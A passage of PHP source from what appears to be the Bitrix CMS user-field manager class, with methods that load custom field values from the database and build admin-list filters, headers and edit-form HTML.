						&& is_callable(array($arType["CLASS_NAME"], "checkpermission"))
					)
					{
						if(!call_user_func_array(array($arType["CLASS_NAME"], "checkpermission"), array($arUserField, $user_id)))
							continue;
					}
					$arUserField["USER_TYPE"] = $arType;
					$arUserField["VALUE"] = false;
					if(!is_array($arUserField["SETTINGS"]) || empty($arUserField["SETTINGS"]))
						$arUserField["SETTINGS"] = $this->PrepareSettings(0, $arUserField);
					$result[$arUserField["FIELD_NAME"]] = $arUserField;
				}
			}
			$this->arFieldsCache[$cacheId] = $result;
		}
		else
		{
			$result = $this->arFieldsCache[$cacheId];
		}

		if(count($result)>0 && $value_id>0)
		{
			$select = "VALUE_ID";
			foreach($result as $FIELD_NAME=>$arUserField)
			{
				$simpleFormat = true;
				if($arUserField["MULTIPLE"] == "N")
				{
					if($arType = $arUserField["USER_TYPE"])
					{
						if(is_callable(array($arType["CLASS_NAME"], "FormatField")))
						{
							$select .= ", ".call_user_func_array(array($arType["CLASS_NAME"], "FormatField"), array($arUserField, $FIELD_NAME))." ".$FIELD_NAME;
							$simpleFormat = false;
						}
					}
				}
				if($simpleFormat)
				{
					$select .= ", ".$FIELD_NAME;
				}
			}

			$rs = $DB->Query("SELECT ".$select." FROM b_uts_".strtolower($entity_id)." WHERE VALUE_ID = ".$value_id, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			if($ar = $rs->Fetch())
			{
				foreach($ar as $key=>$value)
				{
					if(array_key_exists($key, $result))
					{
						if($result[$key]["MULTIPLE"]=="Y")
						{
							if (substr($value, 0, 1) !== 'a' && $value > 0)
							{
								$value = $this->LoadMultipleValues($result[$key], $value);
							}
							else
							{
								$value = unserialize($value);
							}
							$result[$key]["VALUE"] = $this->OnAfterFetch($result[$key], $value);
						}
						else
						{
							$result[$key]["VALUE"] = $this->OnAfterFetch($result[$key], $value);
						}

						$result[$key]["ENTITY_VALUE_ID"] = $value_id;
					}
				}
			}
		}

		return $result;
	}

	/**
	 * Replacement for getUserFields, if you are already have fetched old data
	 *
	 * @param      $entity_id
	 * @param      $readyData
	 * @param bool $LANG
	 * @param bool $user_id
	 * @param string $primaryIdName
	 *
	 * @return array
	 */
	function getUserFieldsWithReadyData($entity_id, $readyData, $LANG = false, $user_id = false, $primaryIdName = 'VALUE_ID')
	{
		if ($readyData === null)
		{
			return $this->GetUserFields($entity_id, null, $LANG, $user_id);
		}

		$entity_id = preg_replace("/[^0-9A-Z_]+/", "", $entity_id);
		$cacheId = $entity_id . "." . $LANG . '.' . (int) $user_id;

		//global $DB;

		$result = array();
		if(!array_key_exists($cacheId, $this->arFieldsCache))
		{
			$arFilter = array("ENTITY_ID"=>$entity_id);
			if($LANG)
				$arFilter["LANG"]=$LANG;

			$rs = call_user_func_array(array('CUserTypeEntity', 'GetList'), array(array(), $arFilter));
			while($arUserField = $rs->Fetch())
			{
				if($arType = $this->GetUserType($arUserField["USER_TYPE_ID"]))
				{
					if(
						$user_id !== 0
						&& is_callable(array($arType["CLASS_NAME"], "checkpermission"))
					)
					{
						if(!call_user_func_array(array($arType["CLASS_NAME"], "checkpermission"), array($arUserField, $user_id)))
							continue;
					}
					$arUserField["USER_TYPE"] = $arType;
					$arUserField["VALUE"] = false;
					if(!is_array($arUserField["SETTINGS"]) || empty($arUserField["SETTINGS"]))
						$arUserField["SETTINGS"] = $this->PrepareSettings(0, $arUserField);
					$result[$arUserField["FIELD_NAME"]] = $arUserField;
				}
			}
			$this->arFieldsCache[$cacheId] = $result;
		}
		else
			$result = $this->arFieldsCache[$cacheId];

		foreach ($readyData as $key => $value)
		{
			if(array_key_exists($key, $result))
			{
				if($result[$key]["MULTIPLE"]=="Y" && !is_array($value))
				{
					$value = unserialize($value);
				}

				$result[$key]["VALUE"] = $this->OnAfterFetch($result[$key], $value);
				$result[$key]["ENTITY_VALUE_ID"] = $readyData[$primaryIdName];
			}
		}

		return $result;
	}

	function GetUserFieldValue($entity_id, $field_id, $value_id, $LANG=false)
	{
		global $DB;
		$entity_id = preg_replace("/[^0-9A-Z_]+/", "", $entity_id);
		$field_id = preg_replace("/[^0-9A-Z_]+/", "", $field_id);
		$value_id = intval($value_id);
		$strTableName = "b_uts_".strtolower($entity_id);
		$result = false;

		$arFilter = array(
			"ENTITY_ID" => $entity_id,
			"FIELD_NAME" => $field_id,
		);
		if($LANG)
			$arFilter["LANG"]=$LANG;
		$rs = CUserTypeEntity::GetList(array(), $arFilter);
		if($arUserField = $rs->Fetch())
		{
			$arUserField["USER_TYPE"] = $this->GetUserType($arUserField["USER_TYPE_ID"]);
			$arTableFields = $DB->GetTableFields($strTableName);
			if(array_key_exists($field_id, $arTableFields))
			{
				$simpleFormat = true;
				$select = "";
				if($arUserField["MULTIPLE"] == "N")
				{
					if($arType = $arUserField["USER_TYPE"])
					{
						if(is_callable(array($arType["CLASS_NAME"], "FormatField")))
						{
							$select = call_user_func_array(array($arType["CLASS_NAME"], "FormatField"), array($arUserField, $field_id));
							$simpleFormat = false;
						}
					}
				}
				if($simpleFormat)
				{
					$select = $field_id;
				}

				$rs = $DB->Query("SELECT ".$select." VALUE FROM ".$strTableName." WHERE VALUE_ID = ".$value_id, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				if($ar = $rs->Fetch())
				{
					if($arUserField["MULTIPLE"]=="Y")
						$result = $this->OnAfterFetch($arUserField, unserialize($ar["VALUE"]));
					else
						$result = $this->OnAfterFetch($arUserField, $ar["VALUE"]);
				}
			}
		}

		return $result;
	}

	/**
	 * Aggregates entity map by event.
	 * @return array [ENTITY_ID => 'SomeTable']
	 */
	function getEntityList()
	{
		if ($this->entityList === null)
		{
			$event = new \Bitrix\Main\Event('main', 'onUserTypeEntityOrmMap');
			$event->send();

			foreach ($event->getResults() as $eventResult)
			{
				if ($eventResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
				{
					$result = $eventResult->getParameters(); // [ENTITY_ID => 'SomeTable']
					foreach ($result as $entityId => $entityClass)
					{
						if (substr($entityClass, 0, 1) !== '\\')
						{
							$entityClass = '\\'.$entityClass;
						}

						$this->entityList[$entityId] = $entityClass;
					}
				}
			}
		}

		return $this->entityList;
	}

	function OnAfterFetch($arUserField, $result)
	{
		if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "onafterfetch")))
		{
			if ($arUserField["MULTIPLE"] == "Y")
			{
				if (is_array($result))
				{
					$resultCopy = $result;
					$result = array();
					foreach($resultCopy as $key => $value)
					{
						$convertedValue = call_user_func_array(
							array($arUserField["USER_TYPE"]["CLASS_NAME"], "onafterfetch"),
							array(
								$arUserField,
								array(
									"VALUE" => $value,
								),
							)
						);
						if ($convertedValue !== null)
						{
							$result[] = $convertedValue;
						}
					}
				}
			}
			else
			{
				$result = call_user_func_array(
					array($arUserField["USER_TYPE"]["CLASS_NAME"], "onafterfetch"),
					array(
						$arUserField,
						array(
							"VALUE" => $result,
						),
					)
				);
			}
		}
		return $result;
	}

	function LoadMultipleValues($arUserField, $valueId)
	{
		global $DB;
		$result = array();

		$rs = $DB->Query("
			SELECT *
			FROM b_utm_".strtolower($arUserField["ENTITY_ID"])."
			WHERE VALUE_ID = ".intval($valueId)."
			AND FIELD_ID = ".$arUserField["ID"]."
		", false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		while ($ar = $rs->Fetch())
		{
			if ($arUserField["USER_TYPE"]["USER_TYPE_ID"] == "date")
			{
				$result[] = substr($ar["VALUE_DATE"], 0, 10);
			}
			else
			{
				switch($arUserField["USER_TYPE"]["BASE_TYPE"])
				{
				case "int":
				case "file":
				case "enum":
					$result[] = $ar["VALUE_INT"];
					break;
				case "double":
					$result[] = $ar["VALUE_DOUBLE"];
					break;
				case "datetime":
					$result[] = $ar["VALUE_DATE"];
					break;
				default:
					$result[] = $ar["VALUE"];
				}
			}
		}
		return $result;
	}

	function EditFormTab($entity_id)
	{
		return array(
			"DIV" => "user_fields_tab",
			"TAB" => GetMessage("USER_TYPE_EDIT_TAB"),
			"ICON" => "none",
			"TITLE" => GetMessage("USER_TYPE_EDIT_TAB_TITLE"),
		);
	}

	function EditFormShowTab($entity_id, $bVarsFromForm, $ID)
	{
		global $APPLICATION;

		if($this->GetRights($entity_id) >= "W")
		{
			echo "<tr colspan=\"2\"><td align=\"left\"><a href=\"/bitrix/admin/userfield_edit.php?lang=".LANG."&ENTITY_ID=".urlencode($entity_id)."&back_url=".urlencode($APPLICATION->GetCurPageParam("", array("bxpublic"))."&tabControl_active_tab=user_fields_tab")."\">".GetMessage("USER_TYPE_EDIT_TAB_HREF")."</a></td></tr>";
		}

		$arUserFields = $this->GetUserFields($entity_id, $ID, LANGUAGE_ID);
		if(count($arUserFields)>0)
		{
			foreach($arUserFields as $FIELD_NAME=>$arUserField)
			{
				$arUserField["VALUE_ID"] = intval($ID);
				echo $this->GetEditFormHTML($bVarsFromForm, $GLOBALS[$FIELD_NAME], $arUserField);
			}
		}
	}

	function EditFormAddFields($entity_id, &$arFields, array $options = null)
	{
		if(!is_array($options))
		{
			$options = array();
		}

		if(!is_array($arFields))
		{
			$arFields = array();
		}

		$files = isset($options['FILES']) ? $options['FILES'] : $_FILES;
		$form = isset($options['FORM']) && is_array($options['FORM']) ? $options['FORM'] : $GLOBALS;

		$arUserFields = $this->GetUserFields($entity_id);
		foreach($arUserFields as $arUserField)
		{
			if($arUserField["EDIT_IN_LIST"]=="Y")
			{
				if($arUserField["USER_TYPE"]["BASE_TYPE"]=="file")
				{
					if (isset($files[$arUserField["FIELD_NAME"]]))
					{
						if(is_array($files[$arUserField["FIELD_NAME"]]["name"]))
						{
							$arFields[$arUserField["FIELD_NAME"]] = array();
							foreach($files[$arUserField["FIELD_NAME"]]["name"] as $key => $value)
							{
								$old_id = $form[$arUserField["FIELD_NAME"]."_old_id"][$key];
								$arFields[$arUserField["FIELD_NAME"]][$key] = array(
									"name" => $files[$arUserField["FIELD_NAME"]]["name"][$key],
									"type" => $files[$arUserField["FIELD_NAME"]]["type"][$key],
									"tmp_name" => $files[$arUserField["FIELD_NAME"]]["tmp_name"][$key],
									"error" => $files[$arUserField["FIELD_NAME"]]["error"][$key],
									"size" => $files[$arUserField["FIELD_NAME"]]["size"][$key],
									"del" => is_array($form[$arUserField["FIELD_NAME"]."_del"]) &&
											(	in_array($old_id, $form[$arUserField["FIELD_NAME"]."_del"]) ||
												(
													array_key_exists($key, $form[$arUserField["FIELD_NAME"]."_del"]) &&
													$form[$arUserField["FIELD_NAME"]."_del"][$key] == "Y"
												)
											),
									"old_id" => $old_id
								);
							}
						}
						else
						{
							$arFields[$arUserField["FIELD_NAME"]] = $files[$arUserField["FIELD_NAME"]];
							$arFields[$arUserField["FIELD_NAME"]]["del"] = $form[$arUserField["FIELD_NAME"]."_del"];
							$arFields[$arUserField["FIELD_NAME"]]["old_id"] = $form[$arUserField["FIELD_NAME"]."_old_id"];
						}
					}
					else
					{
						if(isset($form[$arUserField["FIELD_NAME"]]))
						{
							if(!is_array($form[$arUserField["FIELD_NAME"]]))
							{
								if(intval($form[$arUserField["FIELD_NAME"]]) > 0)
								{
									$arFields[$arUserField["FIELD_NAME"]] = intval($form[$arUserField["FIELD_NAME"]]);
								}
							}
							else
							{
								$fields = array();
								foreach($form[$arUserField["FIELD_NAME"]] as $val)
								{
									if(intval($val) > 0)
									{
										$fields[] = intval($val);
									}
								}
								$arFields[$arUserField["FIELD_NAME"]] = $fields;
							}
						}
					}
				}
				else
				{
					if (isset($files[$arUserField["FIELD_NAME"]]))
					{
						$arFile = array();
						CFile::ConvertFilesToPost($files[$arUserField["FIELD_NAME"]], $arFile);

						if(isset($form[$arUserField["FIELD_NAME"]]))
						{
							if($arUserField["MULTIPLE"] == "Y")
							{
								foreach($form[$arUserField["FIELD_NAME"]] as $key => $value)
									$arFields[$arUserField["FIELD_NAME"]][$key] = array_merge($value, $arFile[$key]);
							}
							else
							{
								$arFields[$arUserField["FIELD_NAME"]] = array_merge($form[$arUserField["FIELD_NAME"]], $arFile);
							}
						}
						else
						{
							$arFields[$arUserField["FIELD_NAME"]] = $arFile;
						}
					}
					else
					{
						if(isset($form[$arUserField["FIELD_NAME"]]))
							$arFields[$arUserField["FIELD_NAME"]] = $form[$arUserField["FIELD_NAME"]];
					}
				}
			}
		}
	}

	/**
	 * Add field for filter.
	 * @param int $entityId Entity id.
	 * @param array $arFilterFields Array for fill.
	 */
	function AdminListAddFilterFields($entityId, &$arFilterFields)
	{
		$arUserFields = $this->GetUserFields($entityId);
		foreach ($arUserFields as $fieldName => $arUserField)
		{
			if ($arUserField['SHOW_FILTER']!='N' && $arUserField['USER_TYPE']['BASE_TYPE']!='file')
			{
				$arFilterFields[] = 'find_'.$fieldName;
				if ($arUserField['USER_TYPE']['BASE_TYPE'] == 'datetime')
				{
					$arFilterFields[] = 'find_'.$fieldName.'_from';
					$arFilterFields[] = 'find_'.$fieldName.'_to';
				}
			}
		}
	}

	function AdminListAddFilterFieldsV2($entityId, &$arFilterFields)
	{
		$arUserFields = $this->GetUserFields($entityId, 0, $GLOBALS["lang"]);
		foreach ($arUserFields as $fieldName => $arUserField)
		{
			if ($arUserField['SHOW_FILTER']!='N' && $arUserField['USER_TYPE']['BASE_TYPE']!='file')
			{
				if(is_callable(array($arUserField['USER_TYPE']['CLASS_NAME'], 'GetFilterData')))
				{
					$arFilterFields[] = call_user_func_array(
						array($arUserField['USER_TYPE']['CLASS_NAME'], 'GetFilterData'),
						array(
							$arUserField,
							array(
								'ID' => $fieldName,
								'NAME' => $arUserField['LIST_FILTER_LABEL'] ?
									$arUserField['LIST_FILTER_LABEL'] : $arUserField['FIELD_NAME'],
							),
						)
					);
				}
			}
		}
	}

	function IsNotEmpty($value)
	{
		if(is_array($value))
		{
			foreach($value as $v)
			{
				if(strlen($v) > 0)
					return true;
			}

			return false;
		}
		else
		{
			if(strlen($value) > 0)
				return true;
			else
				return false;
		}
	}

	/**
	 * Add value for filter.
	 * @param int $entityId Entity id.
	 * @param array $arFilter Array for fill.
	 */
	function AdminListAddFilter($entityId, &$arFilter)
	{
		$arUserFields = $this->GetUserFields($entityId);
		foreach ($arUserFields as $fieldName => $arUserField)
		{
			if (
				$arUserField['SHOW_FILTER'] != 'N' &&
				$arUserField['USER_TYPE']['BASE_TYPE'] == 'datetime'
			)
			{
				$value1 = $GLOBALS['find_'.$fieldName.'_from'];
				$value2 = $GLOBALS['find_'.$fieldName.'_to'];
				if ($this->IsNotEmpty($value1) && \Bitrix\Main\Type\Date::isCorrect($value1))
				{
					$date = new \Bitrix\Main\Type\Date($value1);
					$arFilter['>='.$fieldName] = $date;
				}
				if ($this->IsNotEmpty($value2) && \Bitrix\Main\Type\Date::isCorrect($value2))
				{
					$date = new \Bitrix\Main\Type\Date($value2);
					if ($arUserField['USER_TYPE_ID'] != 'date')
					{
						$date->add('+1 day');
					}
					$arFilter['<='.$fieldName] = $date;
				}
				continue;
			}
			else
			{
				$value = $GLOBALS['find_'.$fieldName];
			}
			if (
				$arUserField['SHOW_FILTER'] != 'N'
				&& $arUserField['USER_TYPE']['BASE_TYPE'] != 'file'
				&& $this->IsNotEmpty($value)
			)
			{
				if ($arUserField['SHOW_FILTER'] == 'I')
				{
					$arFilter['='.$fieldName] = $value;
				}
				elseif($arUserField['SHOW_FILTER']=='S')
				{
					$arFilter['%'.$fieldName] = $value;
				}
				else
				{
					$arFilter[$fieldName] = $value;
				}
			}
		}
	}

	function AdminListAddFilterV2($entityId, &$arFilter, $filterId, $filterFields)
	{
		$filterOption = new Bitrix\Main\UI\Filter\Options($filterId);
		$filterData = $filterOption->getFilter($filterFields);

		$arUserFields = $this->GetUserFields($entityId);
		foreach ($arUserFields as $fieldName => $arUserField)
		{
			if ($arUserField['SHOW_FILTER'] != 'N' && $arUserField['USER_TYPE']['BASE_TYPE'] == 'datetime')
			{
				$value1 = $filterData[$fieldName.'_from'];
				$value2 = $filterData[$fieldName.'_to'];
				if ($this->IsNotEmpty($value1) && \Bitrix\Main\Type\Date::isCorrect($value1))
				{
					$date = new \Bitrix\Main\Type\Date($value1);
					$arFilter['>='.$fieldName] = $date;
				}
				if ($this->IsNotEmpty($value2) && \Bitrix\Main\Type\Date::isCorrect($value2))
				{
					$date = new \Bitrix\Main\Type\Date($value2);
					if ($arUserField['USER_TYPE_ID'] != 'date')
					{
						$date->add('+1 day');
					}
					$arFilter['<='.$fieldName] = $date;
				}
				continue;
			}
			elseif ($arUserField['SHOW_FILTER'] != 'N' && $arUserField['USER_TYPE']['BASE_TYPE'] == 'int')
			{
				switch ($arUserField['USER_TYPE_ID'])
				{
					case 'boolean':
						if ($filterData[$fieldName] === 'Y')
							$filterData[$fieldName] = 1;
						if ($filterData[$fieldName] === 'N')
							$filterData[$fieldName] = 0;
						$value = $filterData[$fieldName];
						break;
					default:
						$value = $filterData[$fieldName];
				}
			}
			else
			{
				$value = $filterData[$fieldName];
			}
			if (
				$arUserField['SHOW_FILTER'] != 'N'
				&& $arUserField['USER_TYPE']['BASE_TYPE'] != 'file'
				&& $this->IsNotEmpty($value)
			)
			{
				if ($arUserField['SHOW_FILTER'] == 'I')
				{
					unset($arFilter[$fieldName]);
					$arFilter['='.$fieldName] = $value;
				}
				elseif($arUserField['SHOW_FILTER']=='S')
				{
					unset($arFilter[$fieldName]);
					$arFilter['%'.$fieldName] = $value;
				}
				else
				{
					$arFilter[$fieldName] = $value;
				}
			}
		}
	}

	function AdminListPrepareFields($entity_id, &$arFields)
	{
		$arUserFields = $this->GetUserFields($entity_id);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
			if($arUserField["EDIT_IN_LIST"]!="Y")
				unset($arFields[$FIELD_NAME]);
	}

	function AdminListAddHeaders($entity_id, &$arHeaders)
	{
		$arUserFields = $this->GetUserFields($entity_id, 0, $GLOBALS["lang"]);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			if($arUserField["SHOW_IN_LIST"]=="Y")
			{
				$arHeaders[] = array(
					"id" => $FIELD_NAME,
					"content" => htmlspecialcharsbx($arUserField["LIST_COLUMN_LABEL"]? $arUserField["LIST_COLUMN_LABEL"]: $arUserField["FIELD_NAME"]),
					"sort" => $arUserField["MULTIPLE"]=="N"? $FIELD_NAME: false,
				);
			}
		}
	}

	function AddUserFields($entity_id, $arRes, &$row)
	{
		$arUserFields = $this->GetUserFields($entity_id);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
			if($arUserField["SHOW_IN_LIST"]=="Y" && array_key_exists($FIELD_NAME, $arRes))
				$this->AddUserField($arUserField, $arRes[$FIELD_NAME], $row);
	}

	function AddFindFields($entity_id, &$arFindFields)
	{
		$arUserFields = $this->GetUserFields($entity_id, 0, $GLOBALS["lang"]);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			if($arUserField["SHOW_FILTER"]!="N" && $arUserField["USER_TYPE"]["BASE_TYPE"]!="file")
			{
				if($arUserField["USER_TYPE"] && is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getfilterhtml")))
				{
					if($arUserField["LIST_FILTER_LABEL"])
					{
						$arFindFields[$FIELD_NAME] = htmlspecialcharsbx($arUserField["LIST_FILTER_LABEL"]);
					}
					else
					{
						$arFindFields[$FIELD_NAME] = $arUserField["FIELD_NAME"];
					}
				}
			}
		}
	}

	function AdminListShowFilter($entity_id)
	{
		$arUserFields = $this->GetUserFields($entity_id, 0, $GLOBALS["lang"]);
		foreach($arUserFields as $FIELD_NAME=>$arUserField)
		{
			if($arUserField["SHOW_FILTER"]!="N" && $arUserField["USER_TYPE"]["BASE_TYPE"]!="file")
			{
				echo $this->GetFilterHTML($arUserField, "find_".$FIELD_NAME, $GLOBALS["find_".$FIELD_NAME]);
			}
		}
	}

	function ShowScript()
	{
		global $APPLICATION;

		$APPLICATION->AddHeadScript("/bitrix/js/main/usertype.js");

		return "";
	}

	function GetEditFormHTML($bVarsFromForm, $form_value, $arUserField)
	{
		global $APPLICATION;

		if($arUserField["USER_TYPE"])
		{
			if($this->GetRights($arUserField["ENTITY_ID"]) >= "W")
				$edit_link = ($arUserField["HELP_MESSAGE"]? htmlspecialcharsex($arUserField["HELP_MESSAGE"]).'<br>': '').'<a href="'.htmlspecialcharsbx('/bitrix/admin/userfield_edit.php?lang='.LANG.'&ID='.$arUserField["ID"].'&back_url='.urlencode($APPLICATION->GetCurPageParam("", array("bxpublic")).'&tabControl_active_tab=user_fields_tab')).'">'.htmlspecialcharsex(GetMessage("MAIN_EDIT")).'</a>';
			else
				$edit_link = '';

			$hintHTML = '<span id="hint_'.$arUserField["FIELD_NAME"].'"></span><script>BX.hint_replace(BX(\'hint_'.$arUserField["FIELD_NAME"].'\'), \''.CUtil::JSEscape($edit_link).'\');</script>&nbsp;';

			if ($arUserField["MANDATORY"]=="Y")
				$strLabelHTML = $hintHTML.'<span class="adm-required-field">'.htmlspecialcharsbx($arUserField["EDIT_FORM_LABEL"]? $arUserField["EDIT_FORM_LABEL"]: $arUserField["FIELD_NAME"]).'</span>'.':';
			else
				$strLabelHTML = $hintHTML.htmlspecialcharsbx($arUserField["EDIT_FORM_LABEL"]? $arUserField["EDIT_FORM_LABEL"]: $arUserField["FIELD_NAME"]).':';

			if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtml")))
			{
				$js = $this->ShowScript();

				if(!$bVarsFromForm)
					$form_value = $arUserField["VALUE"];
				elseif($arUserField["USER_TYPE"]["BASE_TYPE"]=="file")
					$form_value = $GLOBALS[$arUserField["FIELD_NAME"]."_old_id"];
				elseif($arUserField["EDIT_IN_LIST"]=="N")
					$form_value = $arUserField["VALUE"];

				if($arUserField["MULTIPLE"] == "N")
				{
					$valign = "";
					$rowClass = "";
					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtml"),
						array(
							$arUserField,
							array(
								"NAME" => $arUserField["FIELD_NAME"],
								"VALUE" => (is_array($form_value)? $form_value : htmlspecialcharsbx($form_value)),
								"VALIGN" => &$valign,
								"ROWCLASS" => &$rowClass
							),
						)
					);
					return '<tr'.($rowClass != '' ? ' class="'.$rowClass.'"' : '').'><td'.($valign <> 'middle'? ' class="adm-detail-valign-top"':'').' width="40%">'.$strLabelHTML.'</td><td width="60%">'.$html.'</td></tr>'.$js;
				}
				elseif(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtmlmulty")))
				{
					if(!is_array($form_value))
					{
						$form_value = array();
					}
					foreach($form_value as $key => $value)
					{
						if(!is_array($value))
						{
							$form_value[$key] = htmlspecialcharsbx($value);
						}
					}

					$rowClass = "";
					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtmlmulty"),
						array(
							$arUserField,
							array(
								"NAME" => $arUserField["FIELD_NAME"]."[]",
								"VALUE" => $form_value,
								"ROWCLASS" => &$rowClass
							),
						)
					);
					return '<tr'.($rowClass != '' ? ' class="'.$rowClass.'"' : '').'><td class="adm-detail-valign-top">'.$strLabelHTML.'</td><td>'.$html.'</td></tr>'.$js;
				}
				else
				{
					if(!is_array($form_value))
					{
						$form_value = array();
					}
					$html = "";
					$i = -1;
					foreach($form_value as $i => $value)
					{

						if(
							(is_array($value) && (strlen(implode("", $value)) > 0))
							|| ((!is_array($value)) && (strlen($value) > 0))
						)
						{
							$html .= '<tr><td>'.call_user_func_array(
								array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtml"),
								array(
									$arUserField,
									array(
										"NAME" => $arUserField["FIELD_NAME"]."[".$i."]",
										"VALUE" => (is_array($value)? $value : htmlspecialcharsbx($value)),
									),
								)
							).'</td></tr>';
						}
					}
					//Add multiple values support
					$rowClass = "";
					$FIELD_NAME_X = str_replace('_', 'x', $arUserField["FIELD_NAME"]);
					$fieldHtml = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "geteditformhtml"),
						array(
							$arUserField,
							array(
								"NAME" => $arUserField["FIELD_NAME"]."[".($i+1)."]",
								"VALUE" => "",
								"ROWCLASS" => &$rowClass
							),
						)
					);
					return '<tr'.($rowClass != '' ? ' class="'.$rowClass.'"' : '').'><td class="adm-detail-valign-top">'.$strLabelHTML.'</td><td>'.
						'<table id="table_'.$arUserField["FIELD_NAME"].'">'.$html.'<tr><td>'.$fieldHtml.'</td></tr>'.
					'<tr><td style="padding-top: 6px;"><input type="button" value="'.GetMessage("USER_TYPE_PROP_ADD").'" onClick="addNewRow(\'table_'.$arUserField["FIELD_NAME"].'\', \''.$FIELD_NAME_X.'|'.$arUserField["FIELD_NAME"].'|'.$arUserField["FIELD_NAME"].'_old_id\')"></td></tr>'.
					"<script type=\"text/javascript\">BX.addCustomEvent('onAutoSaveRestore', function(ob, data) {for (var i in data){if (i.substring(0,".(strlen($arUserField['FIELD_NAME'])+1).")=='".CUtil::JSEscape($arUserField['FIELD_NAME'])."['){".
					'addNewRow(\'table_'.$arUserField["FIELD_NAME"].'\', \''.$FIELD_NAME_X.'|'.$arUserField["FIELD_NAME"].'|'.$arUserField["FIELD_NAME"].'_old_id\')'.
					"}}})</script>".
					'</table>'.
					'</td></tr>'.$js;
				}
			}
		}
		return '';
	}

	function GetFilterHTML($arUserField, $filter_name, $filter_value)
	{
		if($arUserField["USER_TYPE"])
		{
			if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getfilterhtml")))
			{
				$html = call_user_func_array(
					array($arUserField["USER_TYPE"]["CLASS_NAME"], "getfilterhtml"),
					array(
						$arUserField,
						array(
							"NAME" => $filter_name,
							"VALUE" => htmlspecialcharsex($filter_value),
						),
					)
				).CAdminCalendar::ShowScript();
				return '<tr><td>'.htmlspecialcharsbx($arUserField["LIST_FILTER_LABEL"]? $arUserField["LIST_FILTER_LABEL"]: $arUserField["FIELD_NAME"]).':</td><td>'.$html.'</td></tr>';
			}
		}
		return '';
	}

	/**
	 * @param $arUserField
	 * @param $value
	 * @param CAdminListRow $row
	 */
	function AddUserField($arUserField, $value, &$row)
	{
		if($arUserField["USER_TYPE"])
		{
			$js = $this->ShowScript();
			if(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml")))
			{
				if($arUserField["MULTIPLE"] == "N")
				{
					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml"),
						array(
							$arUserField,
							array(
								"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]",
								"VALUE" => htmlspecialcharsbx($value),
							),
						)
					);
					if($html == '')
						$html = '&nbsp;';
					$row->AddViewField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
				elseif(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtmlmulty")))
				{
					if(is_array($value))
						$form_value = $value;
					else
						$form_value = unserialize($value);

					if(!is_array($form_value))
						$form_value = array();

					foreach($form_value as $key=>$val)
						$form_value[$key] = htmlspecialcharsbx($val);

					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtmlmulty"),
						array(
							$arUserField,
							array(
								"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]"."[]",
								"VALUE" => $form_value,
							),
						)
					);
					if($html == '')
						$html = '&nbsp;';
					$row->AddViewField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
				else
				{
					$html = "";

					if(is_array($value))
						$form_value = $value;
					else
						$form_value = strlen($value) > 0? unserialize($value): false;

					if(!is_array($form_value))
						$form_value = array();

					foreach($form_value as $i=>$val)
					{
						if($html!="")
							$html .= " / ";
						$html .= call_user_func_array(
							array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistviewhtml"),
							array(
								$arUserField,
								array(
									"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]"."[".$i."]",
									"VALUE" => htmlspecialcharsbx($val),
								),
							)
						);
					}
					if($html == '')
						$html = '&nbsp;';
					$row->AddViewField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
			}
			if($arUserField["EDIT_IN_LIST"]=="Y" && is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtml")))
			{
				if (!$row->bEditMode)
				{
					// put dummy
					$row->AddEditField($arUserField["FIELD_NAME"], "&nbsp;");
				}
				elseif($arUserField["MULTIPLE"] == "N")
				{
					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtml"),
						array(
							$arUserField,
							array(
								"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."]",
								"VALUE" => htmlspecialcharsbx($value),
							),
						)
					);
					if($html == '')
						$html = '&nbsp;';
					$row->AddEditField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
				elseif(is_callable(array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtmlmulty")))
				{
					if(is_array($value))
						$form_value = $value;
					else
						$form_value = strlen($value) > 0? unserialize($value): false;

					if(!is_array($form_value))
						$form_value = array();

					foreach($form_value as $key=>$val)
						$form_value[$key] = htmlspecialcharsbx($val);

					$html = call_user_func_array(
						array($arUserField["USER_TYPE"]["CLASS_NAME"], "getadminlistedithtmlmulty"),
						array(
							$arUserField,
							array(
								"NAME" => "FIELDS[".$row->id."][".$arUserField["FIELD_NAME"]."][]",
								"VALUE" => $form_value,
							),
						)
					);
					if($html == '')
						$html = '&nbsp;';
					$row->AddEditField($arUserField["FIELD_NAME"], $html.$js.CAdminCalendar::ShowScript());
				}
				else
				{
					$html = "<table id=\"table_".$arUserField["FIELD_NAME"]."_".$row->id."\">";
					if(is_array($value))
						$form_value = $value;
					else
